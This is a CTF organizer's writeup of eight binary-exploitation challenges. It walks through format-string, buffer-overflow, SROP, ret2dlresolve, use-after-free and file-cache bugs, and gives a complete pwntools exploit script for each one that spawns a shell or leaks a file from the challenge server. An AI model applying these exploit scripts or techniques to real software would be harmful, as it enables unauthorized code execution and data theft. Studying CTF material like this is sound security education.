Red Pointer CTF - Complete PWN Writeups
Complete writeups for all the challenges from Red Pointer CTF, which I organized alongside Taz (Moetez Zouari). The CTF featured 8 unique pwn challenges split across two storylines: The Phantom Syndicate and The Red Shadow.
The Phantom Syndicate
Peripheral Breach
Source Code Analysis
Looking at the source code, we see the following logic:
void maintain() {
system("/bin/sh");
exit(0);
}
This function spawns a shell. Our goal is to redirect execution here.
printf(confirm);
This is a format string vulnerability. It allows us to read or write memory by crafting the input to confirm
.
gets(cred);
This is a classic buffer overflow vulnerability. It lets us overwrite memory, including the return address.
Binary Protections
Analyzing the binary, we observe:
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
With PIE and a stack canary, we need to leak both to exploit.
Exploitation Strategy
- Leak the PIE base and the stack canary using the format string.
- Overwrite the return address to call
maintain
.
Exploitation Details
Leaking PIE and Canary
Using the format string, we leak memory:
Welcome to Printer Server v1.0
Schedule job (s) or Cancel (c)? s
Enter filename to print: %p
Enter URL: whatever
Confirm printing: 0x56477db645cf from whatever
The leaked address 0x56477db645cf
is in the program segment. Offset from base: 0x35cf
.
Using GDB:
- Filename buffer starts at
%8$p
. - Canary offset:
0x208
from buffer.
Ret2Win
After leaking PIE and canary, overwrite the return address to call maintain
.
From objdump
:
1521: 48 8d 85 f0 fe ff ff lea rax,[rbp-0x110]
1528: 48 89 c7 mov rdi,rax
152b: b8 00 00 00 00 mov eax,0x0
1530: e8 8b fb ff ff call 10c0 <gets@plt>
Offsets:
- To
rbp
:0x110
- To canary:
0x108
Exploit Code
Below is the exploit code used to achieve the ret2win attack:
from pwn import*
elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5000)
def scheduleJob(filename, url):
io.sendline(b's')
io.sendline(filename)
io.sendline(url)
offset = 0x208 // 0x8
offset += 0x8
scheduleJob(f"%p,%{offset}$p".encode(), b'cl1pp1ng_c01n5_s1nc3_7h3_d4wn_0f_71m3')
io.recvuntil(b'printing: ')
elf.address = int(io.recvuntil(b',', drop=True), 16) - 0x35cf
canary = int(io.recvuntil(b' ', drop=True), 16)
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]
payload = b'A' * 0x108 + p64(canary) + p64(0x0) + p64(ret) + p64(elf.sym.maintain)
io.sendline(payload)
io.interactive()
Network Relay
Source Code Analysis
Looking at the source code, we find a buffer overflow:
void user_input(void){
char buf[60];
read(0, buf, 200);
}
Binary Protections
Analyzing the binary, we observe:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
With no PIE and no stack canary, we can hijack control flow to any function. We don't have a win function or libc but we have partial RELRO, so we can do a ret2dlresolve attack.
Exploitation Strategy
Use ret2dlresolve to resolve and call system("/bin/sh")
.
Exploitation Details
Exploit Code
Below is the exploit code used to achieve the ret2dlresolve attack:
from pwn import *
elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5001)
rop = ROP(elf)
# this is the login password for the challenge, it is unrelated to the exploit itself
io.sendline(b'PhantomNetRelay0x10!')
pause()
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 0x48) # Trigger the buffer overflow
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
io.sendline(rop.chain())
io.sendline(dlresolve.payload)
io.interactive()
Database Intrusion
Source Code Analysis
We can easily spot a buffer overflow vulnerability in the vuln()
function:
char buf[60];
read(0,buf,400);
The program also provides us with crucial information leaks:
printf(">> Secure channel established at %p:%p.\n",&buf,&vuln);
This leaks both a stack address (&buf
) and an address from the .text section (&vuln
), effectively bypassing PIE protection (which we'll see later on that it is enabled).
Additionally, there's a syscall gadget available:
void gadgets(){
__asm__("syscall;ret;");
}
The final hint comes from the print statements at the end of vuln()
:
printf("dgets for rax!\n");
This printf returns 15, setting up rax = 15
which is perfect for a SIGRETURN syscall (syscall number 15).
Binary Protections
Analyzing the binary, we observe:
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
While PIE is enabled, we have already discussed how we can bypass it. And with no stack canary, we can easily control the return address for our SROP attack.
Target Analysis
The binary contains the string /bin/sh
at offset 0x2008
:
$ strings -tx main | grep bin
2008 /bin/sh
This string is present because the check_forbidden()
function blacklists it from user input, which allows us we to reference it directly in memory.
Exploitation Strategy
- Use the leaked PIE base to calculate addresses
- Leverage the
printf("dgets for rax!\n")
call that setsrax = 15
(SIGRETURN syscall number) - Perform a SROP (Sigreturn-Oriented Programming) attack to execute
execve("/bin/sh", 0, 0)
Exploitation Details
Memory Layout
- Offset to return address: 0x48 (72 bytes)
- Syscall gadget available in the binary
SROP Attack Setup
We set up a SigreturnFrame
with:
rax = 0x3b
(execve syscall number)rdi = address of "/bin/sh"
(first argument)rsi = 0x0
(second argument - argv)rdx = 0x0
(third argument - envp)rip = syscall gadget address
(instruction pointer)
Exploit Code
from pwn import*
elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5002)
# this is just the login password for the challenge and is unrelated to the exploit itself
io.sendlineafter(b'Enter password: ', b'HelloPhantom!23')
io.recvuntil(b':')
elf.address = int(io.recvuntil(b'.', drop=True), 16) - elf.sym.vuln
rop = ROP(elf)
syscall_gadget = rop.find_gadget(['syscall', 'ret'])[0]
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = elf.address + 0x2008
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall_gadget
payload = b'A' * 0x48 + p64(syscall_gadget) + bytes(frame)
io.sendline(payload)
io.interactive()
Exploit Breakdown
- PIE Base Calculation: Extract the leaked
vuln
address and calculate the PIE base - Gadget Location: Find the syscall gadget within the binary
- SROP Frame Setup: Configure the sigreturn frame for
execve("/bin/sh", 0, 0)
- Payload Construction:
- 72 bytes of padding to reach the return address
- Address of syscall gadget (triggers sigreturn with rax=15)
- Complete sigreturn frame with our desired register values
The attack works because:
- The printf call sets
rax = 15
(SIGRETURN syscall) - We return to the syscall gadget, which executes
sigreturn
- The kernel restores our crafted register state
- Control transfers to the syscall gadget again with
rax = 0x3b
(execve) execve("/bin/sh", 0, 0)
is executed, spawning a shell
This technique bypasses the input filtering since we never send "/bin/sh" as input - we reference it directly from the binary's memory space.
Mainframe Takeover
Source Code Analysis
The program implements an authentication system with a critical buffer overflow vulnerability:
char input_id[20];
read(0, input_id, 269);
The authentication flow works as follows:
- User provides an Operative ID
- If the ID exists, the program prompts for credentials
- Successful authentication leads to different privileges:
- Admin user (
d3f4ul7
): Can read any file - Regular users: Limited to their personal data files
- Admin user (
Admin privilege level is vulnerable to command injection through the system()
calls:
// Admin level
snprintf(command, sizeof(command), "cat %s", input);
system(command);
// Regular user level
snprintf(command, sizeof(command), "cat %s_data", found_user->id);
system(command);
A crucial detail is the reconnect()
function that gets called when an invalid Operative ID is provided:
void reconnect() {
pid_t pid = fork();
}
}
This fork()
call is critical because fork() does not re-randomize stack canaries, ASLR, or PIE - the child process inherits the same memory layout as the parent.
Binary Protections
Analyzing the binary, we observe:
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
With both stack canary and PIE enabled, we need to leak both values before being able to hijack control flow.
Fortunately, the fork()
behavior gives us the perfect opportunity to do this.
Exploitation Strategy
Since all user passwords are [REDACTED]
in the binary and we don't have libc information, our strategy is:
- Leak the stack canary using the buffer overflow and invalid ID error message
- Leak PIE base using the same technique in the forked child process
- Hijack control flow to bypass authentication checks
- Do command injection to get shell access
Exploitation Details
Memory Layout Analysis
- Buffer size: 20 bytes (
char input_id[20]
) - Read size: 269 bytes (
read(0, input_id, 269)
) - Overflow capacity: 249 bytes
Canary Leak Technique
The stack canary's lowest byte is always \x00
(null byte). By overflowing exactly to this byte and overwriting it with a non-null value, we can leak the canary when the program prints the error message:
printf("\n[-] ERROR: Operative ID [%s] not found in syndicate records.\n", input_id);
printf
with %s
stops at null bytes.
PIE Leak Technique
Using the same buffer overflow technique but with a different offset, we can leak PIE addresses that are stored on the stack, allowing us to calculate the binary's base address.
Control Flow Hijack
Once we have both the canary and PIE base:
- Craft a payload that preserves the canary
- Overwrite the return address to jump past the authentication check
- Land directly in the admin code path where command injection is possible
Exploit Code
from pwn import*
elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5003)
# login password to start the challenge, unrelated to the exploit
io.sendline(b'X!r7v9-Kaleido.phs')
# Step 1: Leak the canary
payload = b'A' * 0xa9 # Overflow to canary and overwrite null byte
io.sendafter(b'[?] Operative ID: ', payload)
io.recvuntil(payload)
canary = u64(io.recv(0x7).rjust(0x8, b'\x00'))
log.success("Leaked the canary: " + hex(canary))
# Step 2: Leak PIE base (in the reconnected child process)
payload = b'A' * 0xd8 # Overflow to PIE address on stack
io.sendafter(b'[?] Operative ID: ', payload)
io.recvuntil(payload)
elf.address = u64(io.recvuntil(b']', drop=True).ljust(0x8, b'\x00')) - 0x194a
log.success("Leaked PIE: " + hex(elf.address))
# Step 3: Hijack control flow
# Craft ROP chain to bypass authentication and reach admin code
payload = b'A' * 0xa8 # Padding to canary
payload += p64(canary) # Preserve canary
payload += p64(elf.bss(0x500)) # New stack pointer (writeable region since the command we'll pass is stored on the stack @rbp-0xN)
payload += p64(elf.address + 0x17e1) # Jump to admin code path
io.sendafter(b'[?] Operative ID: ', payload)
# Step 4: Achieve command injection
io.interactive()
The key insight is leveraging the fork()
behavior that preserves memory layout across reconnections, allowing us to perform multiple information leaks and finally achieve code execution through command injection.
The Red Shadow
Chat System Breach
Source Code Analysis
Looking at the source code, we see the following key components:
void verify_password(){
if(strncmp(password,"53cr37_c0d3",11)==0){
puts("Password is correct!");
puts("[DEBUG] Running ./log");
system("./log");
exit(0);
}
else
puts("Incorrect password. Expected: '53cr37_c0d3'.");
}
This function checks if the password matches 53cr37_c0d3
and executes ./log
if correct. Our goal is to control the password variable.
The password is allocated dynamically on the heap:
void allocate_password(){
password=(char*)malloc(sizeof(char)*64);
}
The chat system uses the following structure:
typedef struct {
int id;
char *name;
char message[500];
} Chat;
Chat* chats[10];
Each chat is allocated with:
chats[idx] = malloc(sizeof(Chat));
chats[idx]->name = (char*)malloc(sizeof(char)*64);
Notice that both the password and chat names are allocated with the same size: 64 bytes.
Vulnerability Analysis
The critical vulnerability lies in the delete_chat()
function:
void delete_chat() {
int idx;
printf("Index (0-9): ");
scanf("%d", &idx);
if (idx < 0 || idx >= 10 || !chats[idx]) {
puts("Invalid index!");
return;
}
char choice;
free(chats[idx]->name);
while(1){
puts("The chat name has been deleted. Are you sure you want to continue and delete the chat? (Y/N):");
read(0,&choice,1);
if (choice == 'Y' || choice == 'y') {
free(chats[idx]);
}
else if (choice == 'N' || choice == 'n') {
puts("Chat deletion canceled.");
}
else
puts("Invalid choice! Please enter Y or N.");
}
}
Key Issues:
- The chat name is freed with
free(chats[idx]->name)
- When answering 'N', the function returns without nullifying the pointer
- This creates a Use-After-Free (UAF) vulnerability
- The
chats[idx]
structure remains intact, butchats[idx]->name
points to freed memory
The rename_chat()
function allows us to write to the freed memory:
void rename_chat(){
int idx;
printf("Index (0-9): ");
puts("");
}
Exploitation Strategy
The exploitation leverages heap feng shui and use-after-free:
- Create a chat - This allocates both the Chat struct and a 64-byte name buffer
- Delete the chat name only - Free the name buffer but keep the Chat struct
- Allocate password - The password gets allocated in the same 64-byte chunk that was just freed
- Rename the chat - Write to the freed name pointer, which now points to the password buffer
- Verify password - The password now contains our controlled data
This works because:
- Both allocations are the same size (64 bytes)
- The heap allocator will likely reuse the recently freed chunk
- The dangling pointer in the Chat struct now points to the password buffer
Exploitation Details
Heap Layout Manipulation
-
Chat Creation:
malloc(sizeof(Chat))
- allocates Chat structmalloc(64)
- allocates name buffer
-
Selective Deletion:
free(chats[idx]->name)
- frees 64-byte name buffer- Chat struct remains allocated with dangling name pointer
-
Password Allocation:
malloc(64)
- likely reuses the freed name buffer chunkchats[idx]->name
now points to the password buffer
-
UAF Write:
read(0, chats[idx]->name, 64)
writes to password buffer- We can control the password content
Exploit Code
Below is the exploit code used to achieve the heap manipulation attack:
from pwn import*
io = remote('x-0r.com', 5100)
def newChat(index, name, content):
io.sendline(b'1')
io.sendline(str(index).encode())
io.sendline(name)
io.sendline(content)
def deleteChat(index, cont=False):
io.sendline(b'2')
io.sendline(str(index).encode())
io.sendline(b'Y' if cont else b'N')
def allocatePassword():
io.sendline(b'5')
def renameChat(index, name):
io.sendline(b'3')
io.sendline(str(index))
io.sendline(name)
def verifyPassword():
io.sendline(b'7')
# Step 1: Create a chat with dummy data
newChat(0, b'50_tr1ll10n_d0ll4r5_70_15r43l', b'z3r0_p01n7_7w0_p3rc3n7_0f_7h3_w0rld_b7w')
# Step 2: Delete only the chat name (UAF setup)
deleteChat(0) # Answer 'N' to keep Chat struct but free name
# Step 3: Allocate password in the freed chunk
allocatePassword()
# Step 4: Use UAF to write secret code to password buffer
renameChat(0, b'53cr37_c0d3')
# Step 5: Verify password
verifyPassword()
io.interactive()
The key insight is exploiting the heap allocator's tendency to reuse recently freed chunks of the same size, combined with the use-after-free vulnerability in the chat deletion logic. This allows us to gain control over the password buffer without directly accessing it.
Secure File Server
Source Code Analysis
The program implements a file management system with upload, download, and edit capabilities. However, it contains several critical vulnerabilities:
Format String Vulnerability
The download functionality contains a format string vulnerability:
void download_file() {
// ...validation code...
printf("Filename: %s\n", file_list[idx]->name);
printf("Contents: ");
printf(file_list[idx]->content); // Format string vulnerability
printf("\n");
}
This allows us to read arbitrary memory locations by crafting special format strings in our file content.
Stack-based File Storage Vulnerability
The file upload mechanism uses a dangerous stack allocation approach:
void upload_file() {
// ...validation code...
static void* current_sp = NULL;
if (!current_sp) {
puts("File uploaded.");
}
Files are allocated directly on the stack without proper memory management, creating dangling pointers that can be exploited.
Buffer Overflow in Edit Function
The edit functionality contains a critical buffer overflow:
void edit_file() {
// ...validation code...
puts("File updated.");
}
The function writes user input to the address of the idx
variable instead of the file's content buffer, allowing us to overwrite stack memory including the return address.
Binary Protections
Analyzing the binary, we observe:
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No
With PIE enabled but no stack canary, we only need to bypass ASLR to perform a successful ret2libc attack.
Exploitation Strategy
Our exploitation approach consists of three main steps:
- Upload buffer files to prevent stack corruption during function calls
- Leak libc base address using the format string vulnerability
- Overwrite return address using the edit function buffer overflow to achieve ret2libc
Exploitation Details
Step 1: Buffer File Strategy
Since files are stored directly on the stack, we need to upload several "buffer" files first. This prevents our leak payload from being corrupted when function calls decrease the stack pointer and overwrite our data with local variables.
Step 2: ASLR Bypass via Format String
We upload a file containing a format string payload to leak a libc address:
uploadFile(b'ASLR_LEAK', b'%13$p')
downloadFile(3) # Download our leak file
Through debugging, we determined that %13$p
reliably leaks a libc address with a constant offset of 0x276b5
from the libc base address.
Step 3: Return Address Overwrite
Using the buffer overflow in the edit function, we overwrite the return address
The offset from the buffer to the saved RIP is 0xc
bytes, determined through debugging.
Exploit Code
from pwn import*
elf = context.binary = ELF('./main')
libc = elf.libc
io = remote('x-0r.com', 5101)
# challenge login password, unrelated to the actual exploit
io.sendline(b'9#zF@4T$3n!VmC82&xLpQ1r*X6~dEj')
def uploadFile(name=b'a', content=b'a'):
io.sendline(b'1')
io.sendline(content)
def downloadFile(i):
io.sendline(b'2')
io.sendline(str(i).encode())
def editFile(i, content):
io.sendline(b'3')
io.sendline(content)
# Upload buffer files to prevent stack corruption
uploadFile()
uploadFile()
uploadFile()
uploadFile(b'ASLR_LEAK', b'%13$p')
# Leak libc base address
downloadFile(3)
io.recvuntil(b'Contents: ')
libc.address = int(io.recvline().strip(), 16) - 0x276b5
log.success("Leaked libc: " + hex(libc.address))
# Build ROP chain for ret2libc
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
binsh = next(libc.search(b'/bin/sh'))
# Overwrite return address via edit function buffer overflow
payload = b'A' * 0xc + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(libc.sym.system)
editFile(0, payload)
io.interactive()
Exploit Breakdown
- Buffer Setup: Upload 4 files - 3 buffers and 1 leak payload
- ASLR Bypass: Download the leak file to extract libc base address
- ROP Chain: Construct a ret2libc payload with proper stack alignment
- Code Execution: Overwrite return address to execute
system("/bin/sh")
Command And Control Server
Source Code Analysis
Looking at the source code, we can identify two key vulnerabilities:
Format String Vulnerability
printf(">> Welcome Commander: ");
printf(nickname);
puts("");
Buffer Overflow Vulnerability
char buf[72];
// ... later in the code ...
read(0, buf, 200);
Memory Leak
The program also provides us with a useful memory leak:
void handshake() {
// ...
printf(">> Operator ID = badrouch\n>> Auth Token = %p\n", &username);
}
This leaks the address of the global username
variable, which we can use for our exploit.
Binary Protections
Analyzing the binary, we observe:
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
With no stack canary, we can easily control the return address once we have the necessary leaks.
While PIE is enabled, we don't actually need to leak it for our ret2libc attack.
Target Analysis
The libc version running with this binary doesn't contain a /bin/sh
string, and the system()
function doesn't work properly. Therefore, we need to:
- Write
/bin/sh
ourselves (we can place it in our buffer) - Use
execv()
instead ofsystem()
to spawn a shell
Exploitation Strategy
- Use the format string vulnerability to leak the libc base address
- Place
/bin/sh
string in our buffer at a known offset - Perform a ret2libc attack using
execv("/bin/sh", 0)
to spawn a shell
Exploitation Details
Leaking Addresses
Using the format string vulnerability, we can leak memory addresses:
- We leak a stack address to calculate buffer location
- We leak a libc address to defeat ASLR
ROP Chain Construction
After obtaining the libc base, we construct a ROP chain:
pop rdi; ret
- Load/bin/sh
address into RDIpop rsi; ret
- Load 0 into RSI (argv parameter)ret
- Stack alignmentexecv
Buffer Layout
Our payload structure:
- 0x50 bytes of padding
/bin/sh\x00
string- ROP chain to call
execv(buf + 0x50, 0)
Exploit Code
from pwn import*
elf = context.binary = ELF('./main')
libc = elf.libc
io = remote('x-0r.com', 5102)
# challenge password
io.sendline(b'myp@ss!')
io.recvuntil(b'Token = ')
username = int(io.recvline().strip(), 16)
io.sendline(b'%p,%43$p')
io.recvuntil(b'Commander: ')
buf = int(io.recvuntil(b',', drop=True), 16) + 0x280
log.success("Found buf: " + hex(buf))
libc.address = int(io.recvline().strip(), 16) - 0x276b5
log.success("Leaked libc: " + hex(libc.address))
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = b'A' * 0x50 + b'/bin/sh\x00'
payload += p64(pop_rdi)
payload += p64(buf + 0x50)
payload += p64(pop_rsi)
payload += p64(0x0)
payload += p64(ret)
payload += p64(libc.sym.execv)
io.sendline(payload)
io.interactive()
Exploit Breakdown
- Address Leaks: Use format string
%p,%43$p
to leak:- Stack address (for calculating buffer location)
- Libc address (for ASLR bypass)
- Payload Construction:
- 0x50 bytes of padding
/bin/sh
string placed after the padding- ROP chain:
pop rdi
→ buffer+0x50 →pop rsi
→ 0 →ret
→execv
- Shell Execution: The ROP chain calls
execv("/bin/sh", 0)
to spawn a shell
Data Exfiltration System
Source Code Analysis
The application implements a file management system with markets and hacked files. At first glance, it appears we can only append hacked files to market files, which seems limited for data exfiltration. However, a deeper analysis reveals critical vulnerabilities.
Recently Closed Files Cache
The program maintains a cache of recently closed files:
char *recently_closed[MAX_RECENT];
int recent_count = 0;
int is_recent(const char *name) {
for (int i = 0; i < recent_count; i++) {
if (strcmp(recently_closed[i], name) == 0) return 1;
}
return 0;
}
This cache allows bypassing normal file path restrictions. When opening files, the program checks if a file is "recent":
if (is_recent(name)) {
printf("Fast open via cache!\n");
src = fopen(name, "r");
} else if (file_exists_in_dir("hacked", name)) {
char path[128];
snprintf(path, sizeof(path), "hacked/%s", name);
src = fopen(path, "r");
}
If a file is in the recent cache, it opens it directly without path restrictions!
The Critical Vulnerability
The close_file()
function contains a logic flaw:
void close_file() {
if (!open_market_file) {
printf("No open market file to close.\n");
return;
}
// ...
}
The vulnerability lies in the disconnect between what file descriptor is closed and what filename gets added to the cache. The program:
- Asks for a filename
- Asks for a file descriptor
- Closes the file descriptor
- Adds the filename to the recently closed cache
There's no validation that the filename corresponds to the closed file descriptor! This allows us to inject arbitrary filenames into the cache.
File Appending Mechanism
The append_file()
function reads from any 'hacked' file and writes to the currently open market file:
FILE* src;
if (is_recent(name)) {
printf("Fast open via cache!\n");
src = fopen(name, "r");
} else if (file_exists_in_dir("hacked", name)) {
char path[128];
src = fopen(path, "r");
}
// ... read from src and write to open_market_file
char buffer[256];
while (fgets(buffer, sizeof(buffer), src)) {
fputs(buffer, open_market_file);
}
Exploitation Strategy
Our goal is to leak the contents of notes.txt
. The attack chain involves:
- Poison the Cache: Use the
close_file()
vulnerability to addnotes.txt
to the recently closed cache - Redirect Output: Open
/proc/self/fd/1
(stdout) as a market file to redirect output to our terminal - Trigger Data Leak: Use
append_file()
to readnotes.txt
and write it to stdout
Why /proc/self/fd/1
Works
The challenge runs with pty
enabled in the Docker environment:
CMD socat TCP-LISTEN:5103,reuseaddr,fork EXEC:'timeout 120 ./login',pty,stderr
The pty
option creates a pseudo-terminal environment where /dev/stdout
and /proc/self/fd/1
symlinks are available, allowing us to redirect output to our connection.
Exploitation Details
Step 1: Cache Poisoning
We first need to establish a market file, then poison the cache:
# Open a legitimate market file
openMarket(b'covenant_core')
# Close the file but poison cache with 'notes.txt'
closeFile(b'notes.txt') # fd=3 (default) will be closed, but 'notes.txt' goes to cache
Step 2: Redirect Output Stream
Next, we redirect the output to stdout:
# Poison cache with /proc/self/fd/1
shell = b'/proc/self/fd/1'
openMarket(b'covenant_core') # Open another market file
closeFile(shell) # Add stdout to cache
# Open stdout as market file
openMarket(shell)
Step 3: Data Exfiltration
Finally, we trigger the leak:
# Append notes.txt (from cache) to stdout (current market file)
appendToMarket(b'notes.txt')
Complete Exploit Code
from pwn import*
elf = context.binary = ELF('./main')
io = remote('x-0r.com', 5103)
# challenge password
io.sendline(b'FhoijKey_Not_Encrypted_flag_afagsgijq')
def openMarket(market):
io.sendline(b'3')
io.sendline(market)
def closeFile(name, fd=3):
io.sendline(b'5')
io.sendline(str(fd).encode())
def appendToMarket(name):
io.sendline(b'4')
io.sendline(name)
# Step 1: Poison cache with target file
openMarket(b'covenant_core')
closeFile(b'notes.txt')
# Step 2: Setup stdout redirection
shell = b'/proc/self/fd/1'
openMarket(b'covenant_core')
closeFile(shell)
# Step 3: Execute data exfiltration
openMarket(shell)
appendToMarket(b'notes.txt')
io.interactive()
Attack Flow Summary
- Cache Poisoning: Exploit the filename/file descriptor mismatch in
close_file()
to addnotes.txt
to the recently closed cache - Output Redirection: Similarly add
/proc/self/fd/1
to the cache and open it as a market file - Data Exfiltration: Use
append_file()
to readnotes.txt
from cache and write it to stdout (our terminal)